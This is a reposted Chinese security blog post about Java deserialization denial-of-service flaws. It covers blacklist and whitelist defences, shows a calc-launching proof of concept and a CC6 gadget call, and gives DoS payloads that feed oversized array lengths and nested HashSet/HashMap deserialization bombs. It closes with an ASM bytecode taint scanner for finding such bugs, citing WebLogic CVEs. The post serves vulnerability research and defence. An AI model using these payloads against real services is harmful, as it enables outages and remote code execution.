最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring
和Weblogic
的两个CVE
(还有一些报告也许正在审核和修复中)但DoS
漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向
早上和pyn3rd
师傅聊天,希望写一篇DoS
漏洞的分享,于是写了这篇水文,算是拒绝服务漏洞的完结篇
编写一个恶意的类
public class EvilObj implements Serializable {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException ignored) {
}
}
}
编写一个普通的反序列化漏洞代码,执行后会弹出计算器
public static void main(String[] args)throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(new EvilObj()); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
以上的恶意类其实没有意义,因为目标系统中不会存在这样的恶意类,只有目标程序中存在该类才可以
于是大家开始挖掘gadget
以构造恶意类用来执行代码或命令
当我将gadget
替换为CC6
链后,只要目标系统包含了Commons Collections
依赖则可以RCE
oos.writeObject(CC6Gadget.get());
假设作为开发者,这时候的修复手法有两种
关闭反序列化功能
由于业务原因不能关闭反序列化漏洞
于是很多项目采用了黑名单的方式进行修复
public class SafeObjectInputStream extends ObjectInputStream {
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
} @Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (desc.getName().contains("org.apache.commons.collections")) {
return null;
}
return super.resolveClass(desc);
}
}
这时候修改我们的漏洞代码
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(CC6Gadget.get());ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
SafeObjectInputStream ois = new SafeObjectInputStream(bais);
ois.readObject();
运行后报错:说明成功防御了Commons Collections
的反序列化漏洞
Exception in thread "main" java.lang.ClassNotFoundException: null class
类似的黑名单参考:Apache OFBIZ
commit: https://github.com/apache/ofbiz-framework/commit/af9ed4e/
if (className.contains("java.rmi.server")) {
return null;
}
在安全中,黑名单永远都是不安全的,因为总会有新的姿势和新的绕过,因此我们采用了白名单的方式进行修复
允许来自于java.lang
和java.util
的对象
允许来自于本地某个特定的类
public class SafeObjectInputStream extends ObjectInputStream {
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
} @Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
// 允许一些常用的JDK类
if (desc.getName().startsWith("java.util.") || desc.getName().startsWith("java.lang.") ||
// 允许一些业务需要的本地类
desc.getName().equals("com.example.MyObject")) {
return super.resolveClass(desc);
} else {
return null;
}
}
}
参考Spring-AMQP
曾经防御反序列化漏洞的方式:添加类似的白名单
参考commit: https://github.com/spring-projects/spring-amqp/commit/36e5599/
static {
SERIALIZER_MESSAGE_CONVERTER.setWhiteListPatterns(Arrays.asList("java.util.*", "java.lang.*"));
}
当我们使用了这样白名单后,确实不存在RCE
漏洞
但实际上存在拒绝服务漏洞的可能性
首先从本地白名单对象入手
public class MyObject implements Serializable {
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
int len = s.readInt();
// array init
byte[] data = new byte[len];
// for condition
for (int i = 0; i < len; i++) {
// ...
}
// ...
}
}
假设本地白名单类的readObject
方法中包含了类似以上的代码,构造出以下这样的Payload
即可DoS
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(new MyObject());
oos.flush();
oos.writeInt(1024*1024*1024);
oos.flush();
Serializable
序列化时不会调用默认的构造器而Externalizable
序列化时会调用默认构造器
有时我们不希望序列化那么多,可以使用Externalizable
接口
其中writeExternal
和readExternal
方法可以指定序列化哪些属性
假设某个白名单类包含了类似下方的代码,则存在拒绝服务漏洞
public class MyObject implements Externalizable {
public int a; // 必须存在空参构造
public MyObject() {
}
public MyObject(int a) {
this.a = a;
}
@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeInt(a);
// ...
}
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
int length = in.readInt();
// array init
byte[] data = new byte[length];
// for condition
for (int i = 0; i < length; i++) {
// ...
}
// ...
}
}
构造恶意对象Payload
触发
public static void main(String[] args) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(new MyObject(1024 * 1024 * 1024)); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
SafeObjectInputStream ois = new SafeObjectInputStream(bais);
ois.readObject();
}
最坏的情况:如果白名单本地对象都是安全的,没有拒绝服务的可能性,还有办法吗
可以使用JDK中的反序列化炸弹实现拒绝服务漏洞
出自Effective Java
的原版反序列化炸弹(原代码链接)
Set<Object> root = new HashSet<>();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet<>();
for(int i=0;i<100;i++){
Set<Object> t1 = new HashSet<>();
Set<Object> t2 = new HashSet<>();
t1.add("foo");
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1=t1;
s2=t2;
}
使用HahsMap
和也可以做到类似的效果
// Map & HashMap
Map<Object, Object> root = new HashMap<>();
Map<Object, Object> s1 = root;
Map<Object, Object> s2 = new HashMap<>();
for (int i = 0; i < 50; i++) {
HashMap<Object, Object> t1 = new HashMap<>();
HashMap<Object, Object> t2 = new HashMap<>();
t1.put("foo", "bar");
s1.put(t1, t1);
s1.put(t2, t2);
s2.put(t1, t1);
s2.put(t2, t2);
s1 = t1;
s2 = t2;
}
反序列化炸弹会得到类似的数据结构,是一个100层深的图(Graph)结构
由于本文重点不在于反序列化炸弹,所以原理不再对原理进行分析,有兴趣可以搜索得到一些结果
关于反序列化炸弹的修复:JEP290
提交给Apache OFBIZ后认为这只是潜在的漏洞,不能直接触发,修复后给予致谢但无CVE
有了以上的内容,对于如何挖掘这样的漏洞,应该有一些思路了
某框架曾经出现过反序列化漏洞
某框架如果采用了黑白名单的方案修复(某logic等)
确定白名单中是否包含了java.util
等类,如果包含则存在反序列化炸弹(某logic的CVE-2022-21441)
扫描所有白名单中的类,是否包含readObject
方法,审计其中是否有类似上文的代码
类似上一条,扫描白名单类readExternal
方法(某logic的CVE-2021-2344和CVE-2021-2371等等)
扫描主要是如何确认readExternal
方法里存在数据初始化
例如扫某logic这样非开源的项目,难免要用到字节码相关的技术
大概的扫描逻辑如下
自动批量解压JAR
包
扫描所有的class
文件(测试了上百万个)
目标是所有类的所有方法
如果方法中的字节码匹配到某种规则,且方法名是readObject
或readExternal
则说明成功
这里提到的某种规则,在之前一篇文章中有详细说明
跟着三梦学Java安全:半自动挖洞(https://xz.aliyun.com/t/10925)
这两种数组初始化的字节码是不同的
int size = 10;
byte[] a = new byte[size];
Object[] o = new Object[size];
对应字节码如下,可以看到分别使用NEWARRAY
和ANEWARRAY
指令
BIPUSH 10
ISTORE 1
...
ILOAD 1
NEWARRAY T_BYTE
...
ILOAD 1
ANEWARRAY java/lang/Object
在分析时需要注意
在visitCode
方法中对每个参数设置污染
在visitMethodInsn
方法中处理污染的传递
在分析进入方法时,首先调用到visitCode
方法,在这里手动给参数上污点
@Override
public void visitCode() {
super.visitCode();
int localIndex = 0;
if ((this.access & Opcodes.ACC_STATIC) == 0) {
localVariables.set(localIndex, "source");
localIndex += 1;
}
for (Type argType : Type.getArgumentTypes(desc)) {
localVariables.set(localIndex, "source");
localIndex += argType.getSize();
}
}
处理污点的传递(如果a
是污染那么b=a.func()
中的b
也将是污染)
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
Type[] argTypes = Type.getArgumentTypes(desc);
if (opcode != Opcodes.INVOKESTATIC) {
Type[] extendedArgTypes = new Type[argTypes.length + 1];
System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);
extendedArgTypes[0] = Type.getObjectType(owner);
argTypes = extendedArgTypes;
}
for (int i = 0; i < argTypes.length; i++) {
if (operandStack.get(i).contains("source")) {
Type returnType = Type.getReturnType(desc);
if (returnType.getSort() != Type.VOID) {
super.visitMethodInsn(opcode, owner, name, desc, itf);
operandStack.set(0, "source");
return;
}
}
}
super.visitMethodInsn(opcode, owner, name, desc, itf);
}
上面这一串代码的作用是能够处理这样的情况
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
// in参数是污点
// 可以传递到length参数
int length = in.readInt();
// 这里遇到NEWARRAY指令
// 如果length是污点则说明匹配到
byte[] data = new byte[length];
}
最终在NEWARRAY
指令的操作数中判断污点(ANEWARRAY
指令类似)
@Override
public void visitIntInsn(int opcode, int operand) {
if (opcode == Opcodes.NEWARRAY) {
if (operandStack.get(0).contains("source")) {
if (this.name.equals("readExternal") || this.name.equals("readObject")) {
// 发现漏洞,进行记录
}
}
}
super.visitIntInsn(opcode, operand);
}
来源:先知(https://xz.aliyun.com/t/11288)
注:如有侵权请联系删除
热文推荐
欢迎关注LemonSec
觉得不错点个“赞”、“在看”